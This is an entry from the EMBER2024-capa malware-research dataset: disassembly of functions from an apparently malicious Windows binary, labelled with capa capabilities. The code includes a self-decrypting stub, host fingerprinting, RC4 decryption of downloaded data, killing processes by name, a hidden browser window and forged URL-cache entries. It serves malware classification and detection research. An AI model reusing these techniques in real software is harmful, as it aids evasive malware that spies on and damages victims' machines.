joyce8/EMBER2024-capa huggingface dataset:
Function at 0x496b00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 0xc]
call fcn.00474b25
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
mov ebx, eax
jle 0x496b38
push edi
mov edi, dword [ebp + 8]
sub edi, ebx
mov eax, esi
lea ecx, [esi + ebx]
cdq
idiv dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov al, byte [edx + eax]
xor al, byte [edi + ecx]
inc esi
cmp esi, dword [ebp + 0xc]
mov byte [ecx], al
jl 0x496b1d
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x406028
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x40604c
xor eax, eax
test eax, eax
je 0x40605e
cmp byte [ebp + eax - 0x121], 0x5c
je 0x40605e
xor ecx, ecx
jmp 0x406061
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x409014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
leave
ret 4

Function at 0x406107
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4222b4], 0
push esi
jne 0x40613e
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406118
mov dword [ecx*4 + 0x4222b0], eax
inc ecx
cmp ecx, 0x100
jl 0x406113
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x40616f
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4222b0]
xor eax, esi
inc ecx
dec edx
jne 0x406151
pop edi
not eax
pop esi
ret 0xc

Function at 0x4069dd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x43b294], esi
push edi
jne 0x406a17
mov ecx, 0x43b290
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x4069f3
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x43b690
jl 0x4069ee
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x406a4c
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x43b290]
xor eax, esi
inc ecx
dec edx
jne 0x406a2f
pop edi
pop esi
not eax
ret 0xc
Function at 0x401270
Capabilities:
Encode data using xor
Get hostname

Disassembly:
sub esp, 0x408
lea eax, [esp + 4]
push esi
lea ecx, [esp + 0xc]
push eax
push ecx
mov dword [esp + 0xc], 0xbeefdead
mov dword [esp + 0x10], 0x400
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov esi, dword [esp + 8]
xor eax, eax
test esi, esi
jbe 0x4012bd
push ebx
mov edx, eax
and edx, 3
mov bl, byte [esp + edx + 8]
lea ecx, [esp + edx + 8]
mov dl, byte [esp + eax + 0x10]
xor bl, dl
inc eax
cmp eax, esi
mov byte [ecx], bl
jb 0x4012a2
pop ebx
mov eax, dword [esp + 4]
push eax
call fcn.0040a9f0
add esp, 4
pop esi
add esp, 0x408
ret

Function at 0x4013b0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x408
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 8], 0x400
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x4013f6
xor eax, eax
pop edi
add esp, 0x408
ret
mov eax, dword [esp + 4]
lea ecx, [esp + 8]
push esi
lea edx, [esp + 0x10]
push ecx
push edx
push 0
push 0
push str.ProductId
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401448
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 0x414]
mov ecx, eax
lea esi, [esp + 0x10]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x418]
mov esi, 1
mov dword [ecx], eax
jmp 0x401457
mov edx, dword [esp + 0x418]
xor esi, esi
mov dword [edx], 0
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
pop edi
add esp, 0x408
ret
Function at 0x401470
Capabilities:
Encode data using xor
Get disk information
Get system information on windows

Disassembly:
sub esp, 0x4bc
lea eax, [esp]
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
push eax
push 0
push 0
push 0x41617c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [esp + 0xc]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
push ecx
lea edx, [esp + 0x64]
push 0x416178
push edx
call ebx
lea eax, [esp + 0x1c]
lea ecx, [esp + 0xd4]
push eax
push ecx
call fcn.004013b0
add esp, 0x14
call fcn.00401270
xor esi, esi
call fcn.0040aa00
cdq
mov ecx, 0xff
idiv ecx
inc esi
cmp esi, 0x20
mov byte [esp + esi + 0x13], dl
jl 0x4014c8
mov esi, dword [esp + 0x10]
test esi, esi
je 0x401505
xor ecx, ecx
mov eax, ecx
cdq
idiv esi
mov al, byte [esp + ecx + 0x14]
mov dl, byte [esp + edx + 0xc8]
xor al, dl
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x20
jl 0x4014e9
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
mov eax, ecx
xor edx, edx
mov esi, 0x24
div esi
mov al, byte [esp + ecx + 0x14]
mov dl, byte [esp + edx + 0x3c]
xor al, dl
mov byte [esp + ecx + 0x14], al
inc ecx
cmp ecx, 0x20
jl 0x401512
xor eax, eax
mov ecx, eax
and ecx, 3
mov dl, byte [esp + ecx + 0xc]
mov cl, byte [esp + eax + 0x14]
xor cl, dl
mov byte [esp + eax + 0x14], cl
inc eax
cmp eax, 0x20
jl 0x401533
xor esi, esi
lea edi, [esp + 0x80]
xor eax, eax
mov al, byte [esp + esi + 0x14]
push eax
push str._02x
push edi
call ebx
add esp, 0xc
inc esi
add edi, 2
cmp esi, 0x20
jl 0x401555
mov edi, dword [esp + 0x4cc]
test edi, edi
je 0x401589
mov ecx, 0x10
lea esi, [esp + 0x80]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x4d0]
test eax, eax
je 0x4015a4
mov ecx, 8
lea esi, [esp + 0x14]
mov edi, 0x419980
rep movsd dword es:[edi], dword [esi]
pop edi
pop esi
pop ebx
add esp, 0x4bc
ret
Function at 0x401f40
Capabilities:
Delete file

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push str.c:debug
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [esp + 0x24]
test esi, esi
je 0x402038
mov eax, dword [esp + 0x28]
test eax, eax
je 0x402038
mov ecx, dword [esp + 0x2c]
test ecx, ecx
jne 0x402002
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov edx, esi
mov ebx, dword [esp + 0x30]
sub esp, 0x10
mov eax, dword [edx]
mov ecx, dword [edx + 4]
mov edi, dword [edx + 8]
mov ebp, dword [edx + 0xc]
mov dl, byte [esi + 0x11]
mov byte [ebx], dl
mov ebx, dword [esp + 0x20]
mov edx, esp
sub esp, 0x10
mov dword [edx], ebx
mov ebx, dword [esp + 0x34]
mov dword [edx + 4], ebx
mov ebx, dword [esp + 0x38]
mov dword [edx + 8], ebx
mov ebx, dword [esp + 0x3c]
mov dword [edx + 0xc], ebx
mov edx, esp
mov dword [edx], eax
mov dword [edx + 4], ecx
mov dword [edx + 8], edi
mov dword [edx + 0xc], ebp
call fcn.00401f00
add esp, 0x20
push 0
push 0x989680
push edx
push eax
call fcn.0040ad30
test edx, edx
jl 0x402038
jg 0x401fe7
test eax, eax
jb 0x402038
test edx, edx
jg 0x402038
jl 0x401ff4
cmp eax, 0xdd7c00
jae 0x402038
mov eax, dword [esp + 0x28]
add esi, 0x12
add eax, 0xffffffee
test eax, eax
je 0x402038
mov ecx, dword [esi + 4]
test ecx, ecx
je 0x402038
add eax, 0xfffffff8
cmp eax, ecx
jne 0x402038
call fcn.004025d0
mov ecx, dword [esi + 4]
lea edx, [esi + 8]
push ecx
push edx
call fcn.00402590
mov edx, dword [esi]
add esp, 8
xor ecx, ecx
cmp eax, edx
sete cl
mov eax, ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
Function at 0x402590
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0xc]
or eax, 0xffffffff
test esi, esi
jbe 0x4025c0
mov ecx, dword [esp + 8]
push ebx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x419de8]
xor eax, edx
inc ecx
dec esi
jne 0x4025a1
pop ebx
not eax
pop esi
ret

Function at 0x4025d0
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor edx, edx
mov ecx, 0x419de8
mov eax, edx
mov esi, 8
test al, 1
je 0x4025ec
shr eax, 1
xor eax, 0xedb88320
jmp 0x4025ee
shr eax, 1
dec esi
jne 0x4025df
mov dword [ecx], eax
add ecx, 4
inc edx
cmp ecx, 0x41a1e8
jl 0x4025d8
pop esi
ret

Function at 0x402610
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
xor ecx, ecx
push edi
xor eax, eax
mov byte [eax + esi], al
inc eax
cmp eax, 0x100
jl 0x40261c
mov ebp, dword [esp + 0x18]
mov byte [esi + 0x100], cl
mov byte [esi + 0x101], cl
xor edi, edi
mov eax, ecx
xor ebx, ebx
cdq
idiv dword [esp + 0x1c]
mov bl, byte [ecx + esi]
mov al, byte [edx + ebp]
add eax, ebx
add eax, edi
and eax, 0xff
inc ecx
mov edi, eax
cmp ecx, 0x100
mov dl, byte [edi + esi]
mov byte [ecx + esi - 1], dl
mov byte [edi + esi], bl
jl 0x402639
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret

Function at 0x402670
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [esp + 0x14]
xor edx, edx
xor ecx, ecx
mov dl, byte [eax + 0x101]
mov cl, byte [eax + 0x100]
xor esi, esi
mov dword [esp + 0xc], edx
test edi, edi
jle 0x4026fb
push ebx
push ebp
mov ebp, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
inc ecx
and ecx, 0xff
xor edx, edx
mov dl, byte [ecx + eax]
add edi, edx
mov dword [esp + 0x18], edx
and edi, 0xff
mov dword [esp + 0x14], edi
mov dl, byte [edi + eax]
mov byte [ecx + eax], dl
mov edx, dword [esp + 0x18]
mov byte [edi + eax], dl
mov bl, byte [ecx + eax]
add ebx, edx
and ebx, 0xff
mov dl, byte [ebx + eax]
mov bl, byte [esi + ebp]
xor bl, dl
mov edx, dword [esp + 0x1c]
mov byte [esi + ebp], bl
inc esi
cmp esi, edx
jl 0x40269a
mov dl, byte [esp + 0x14]
pop ebp
pop ebx
pop edi
mov byte [eax + 0x101], dl
mov byte [eax + 0x100], cl
pop esi
ret
pop edi
mov byte [eax + 0x101], dl
mov byte [eax + 0x100], cl
pop esi
ret
Function at 0x4038b0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x404
push ebx
push ebp
mov ebp, dword [esp + 0x410]
push esi
test ebp, ebp
push edi
je 0x403972
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x14]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x14]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 3
lea ecx, [esp + 0x18]
push 0x4162d0
push ecx
call fcn.004012e0
lea edx, [esp + 0x1c]
lea eax, [esp + 0x20]
push edx
push eax
call fcn.004048a0
mov edi, eax
add esp, 0x14
test edi, edi
je 0x403972
mov ecx, dword [esp + 0x10]
mov eax, 0xcccccccd
mul ecx
mov ebx, edx
shr ebx, 4
je 0x403967
mov eax, ecx
xor edx, edx
mov ecx, 0x14
div ecx
test edx, edx
jne 0x403967
xor esi, esi
test ebx, ebx
jle 0x403972
push edi
push ebp
call fcn.004037f0
add esp, 8
test eax, eax
jne 0x403957
add edi, 0x14
inc esi
cmp esi, ebx
jl 0x403936
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x404
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x404
ret
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x404
ret

Function at 0x403980
Capabilities:
Get common file path

Disassembly:
sub esp, 0x414
push esi
mov esi, dword [esp + 0x41c]
test esi, esi
jne 0x40399d
or eax, 0xffffffff
pop esi
add esp, 0x414
ret
push edi
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 3
lea ecx, [esp + 0x20]
push 0x4162d0
push ecx
call fcn.004012e0
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
call fcn.00402590
add esp, 8
lea edx, [esp + 8]
mov dword [esp + 0x18], eax
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 1
lea eax, [esp + 0xc]
push 0x14
lea ecx, [esp + 0x24]
push eax
push ecx
call fcn.00404950
add esp, 0x10
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x414
ret

Function at 0x4048a0
Capabilities:
Get file size
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x4048c6
xor eax, eax
pop ebx
ret
push ebp
push esi
push edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edi, eax
cmp edi, 0x10
jb 0x404912
lea ecx, [edi + 1]
push ecx
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40493c
lea edx, [esp + 0x14]
push 0
push edx
push edi
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x404916
mov eax, dword [esp + 0x14]
cmp eax, edi
je 0x404936
jmp 0x404916
mov esi, dword [esp + 0x14]
test esi, esi
je 0x40493c
push esi
push 0
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push ebx
xor esi, esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x404950
Capabilities:
Delete file
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0x18]
mov eax, ebx
push ebp
neg eax
sbb eax, eax
mov ebp, dword [esp + 0x10]
push esi
and eax, 3
push edi
push 0
inc eax
push 0
push eax
push 0
push 0
push 0x40000000
push ebp
mov dword [esp + 0x2c], 0
mov edi, 1
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404998
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
pop ecx
ret
test ebx, ebx
je 0x4049a9
push 2
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ebx, dword [esp + 0x20]
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x10]
push 0
push ecx
push ebx
push edx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4049c8
or edi, 0xffffffff
cmp dword [esp + 0x10], ebx
je 0x4049d1
or edi, 0xffffffff
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0xffffffff
jne 0x4049e4
push ebp
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4049f0
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
mov eax, 0x118c
call fcn.0040afc0
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push 4
push esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov ebp, eax
cmp ebp, esi
je 0x404b52
mov eax, dword [esp + 0x11a0]
push esi
push 0x4000300
push esi
push esi
push eax
push ebp
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
cmp edi, esi
je 0x404b52
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1a0]
push 0xfff
push edx
push edi
call ebx
test eax, eax
je 0x404ab2
mov eax, dword [esp + 0x10]
test eax, eax
je 0x404ab2
test esi, esi
jne 0x404a75
call fcn.004010e0
mov esi, eax
test esi, esi
je 0x404aaa
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x19c]
push eax
push ecx
push esi
call fcn.00401150
add esp, 0xc
test eax, eax
je 0x404aaa
lea edx, [esp + 0x10]
lea eax, [esp + 0x19c]
push edx
push 0xfff
push eax
push edi
call ebx
test eax, eax
jne 0x404a5e
jmp 0x404ab2
mov dword [esp + 0x14], 1
push edi
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call edi
push ebp
call edi
test esi, esi
je 0x404b52
mov ebx, dword [esp + 0x14]
test ebx, ebx
jne 0x404ae7
mov edx, dword [esp + 0x11a4]
mov ecx, dword [esi + 8]
push esi
mov dword [edx], ecx
call fcn.00401200
add esp, 4
mov edi, eax
jmp 0x404aeb
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x11a8]
test eax, eax
je 0x404b34
test edi, edi
je 0x404b34
lea eax, [esp + 0x18]
push 0
push eax
call fcn.00401470
lea ecx, [esp + 0x20]
push 0x32
lea edx, [esp + 0xa4]
push ecx
push edx
mov byte [esp + 0x5e], 0
call fcn.00402610
mov eax, dword [esi + 8]
lea ecx, [esp + 0xac]
push eax
push edi
push ecx
call fcn.00402670
add esp, 0x20
push esi
call fcn.00401100
mov eax, ebx
add esp, 4
neg eax
sbb eax, eax
not eax
and eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x118c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x118c
ret
Function at 0x404dc0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x130
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0
push 2
mov dword [esp + 0x14], eax
mov edi, 1
mov dword [esp + 0x10], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x404dfa
pop edi
or eax, eax
pop ebx
add esp, 0x130
ret
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
mov dword [esp + 0x18], 0x128
test edi, edi
je 0x404e1b
lea eax, [esp + 0x18]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
jmp 0x404e26
lea ecx, [esp + 0x18]
push ecx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x404e7e
mov eax, dword [esp + 0x20]
xor edi, edi
test eax, eax
je 0x404e0a
cmp eax, dword [esp + 0x14]
je 0x404e0a
mov edx, dword [esp + 0x144]
lea eax, [esp + 0x3c]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x404e0a
mov ecx, dword [esp + 0x20]
push ecx
push eax
push 1
call ebp
mov esi, eax
test esi, esi
je 0x404e0a
push edi
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x404e75
mov dword [esp + 0x10], 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x404e0a
mov eax, dword [esp + 0x10]
pop esi
pop ebp
pop edi
pop ebx
add esp, 0x130
ret

Function at 0x404f80
Capabilities:
Get file size

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x404fa6
or eax, eax
pop esi
ret
push edi
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
ret
Function at 0x405640
Capabilities:
Initialize iwebbrowser2
Terminate process

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
push 0x1388
call fcn.00405620
push esi
call fcn.004081f0
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405670
Capabilities:
Hide graphical window
Initialize iwebbrowser2

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x412b30
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
push edi
push 0x41a308
push 0x416468
push 4
push 0
push 0x416458
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x4057cd
mov eax, dword [0x41a308]
test eax, eax
je 0x4057cd
mov ebp, dword [esp + 0x38]
mov ecx, dword [eax]
test ebp, ebp
je 0x4056df
push 0
push eax
call dword [ecx + 0xa4]
mov eax, dword [0x41a308]
push 0xffffffffffffffff
push eax
mov edx, dword [eax]
call dword [edx + 0xf0]
jmp 0x4056e8
push 0xffffffffffffffff
push eax
call dword [ecx + 0xa4]
mov eax, dword [0x41a308]
lea ecx, [esp + 0x10]
push ecx
push eax
mov edx, dword [eax]
call dword [edx + 0x94]
mov ebx, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
push 0
push 0xffffffffffffffff
push 0x416454
push 0
push 0
call ebx
mov esi, eax
dec esi
push esi
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov edi, eax
test edi, edi
je 0x405733
push esi
push edi
push 0xffffffffffffffff
push 0x416454
push 0
push 0
call ebx
mov dword [esp + 0x38], edi
mov dword [esp + 0x30], 0
mov word [esp + 0x18], 2
mov word [esp + 0x20], 0xffff
mov esi, dword [esp + 0x18]
sub esp, 0x10
mov eax, dword [0x41a308]
mov ecx, esp
push edi
push eax
mov edx, dword [eax]
mov dword [ecx], esi
mov esi, dword [esp + 0x34]
mov byte [esp + 0x48], 1
mov dword [ecx + 4], esi
mov esi, dword [esp + 0x38]
mov dword [ecx + 8], esi
mov esi, dword [esp + 0x3c]
mov dword [ecx + 0xc], esi
call dword [edx + 0x88]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test ebp, ebp
je 0x4057a2
mov ecx, dword [esp + 0x10]
push 0
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [esp + 0x14]
lea edx, [esp + 0x18]
push edx
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
push edi
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
mov dword fs:[0], ecx
pop ebx
add esp, 0x24
ret
Function at 0x405a30
Capabilities:
Delete file
Get session user name

Disassembly:
sub esp, 0x944
push ebx
push ebp
push esi
push edi
mov ecx, 0xd
mov esi, str._html__head__title___title___head__body___body___html_
lea edi, [esp + 0x14]
push 0
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0x95c]
mov dword [esp + 0x14], 0x400
push esi
call dword [sym.imp.WININET.dll_UnlockUrlCacheEntryFile]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x554]
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov ebp, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea edx, [esp + 0x554]
lea eax, [esp + 0x14]
push edx
push eax
call ebp
inc eax
lea ecx, [esp + 0x158]
push eax
push str.HTTP_1.1_200_OK_r_nContent_Type:_text_html_r_nX_Powered_By:_PHP_5.3.10_r_nContent_Length:__d_r_n_r_nU:_s_r_n
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [esp + 0x4c]
mov edi, 0x1d6dfaf
mov ebx, 0x8523e000
push 0
push edx
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_CreateUrlCacheEntryA]
test eax, eax
jne 0x405ad3
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x944
ret
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x14]
push 1
push ecx
call ebp
push eax
lea edx, [esp + 0x1c]
lea eax, [esp + 0x54]
push edx
push eax
call fcn.00404950
add esp, 0x10
cmp eax, 1
je 0x405b0d
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x944
ret
push esi
lea ecx, [esp + 0x158]
push 0
push ecx
call ebp
dec eax
lea edx, [esp + 0x15c]
push eax
push edx
push 0x41
push edi
push ebx
push edi
lea eax, [esp + 0x6c]
push ebx
push eax
push esi
call dword [sym.imp.WININET.dll_CommitUrlCacheEntryA]
neg eax
sbb eax, eax
pop edi
and eax, 2
pop esi
pop ebp
dec eax
pop ebx
add esp, 0x944
ret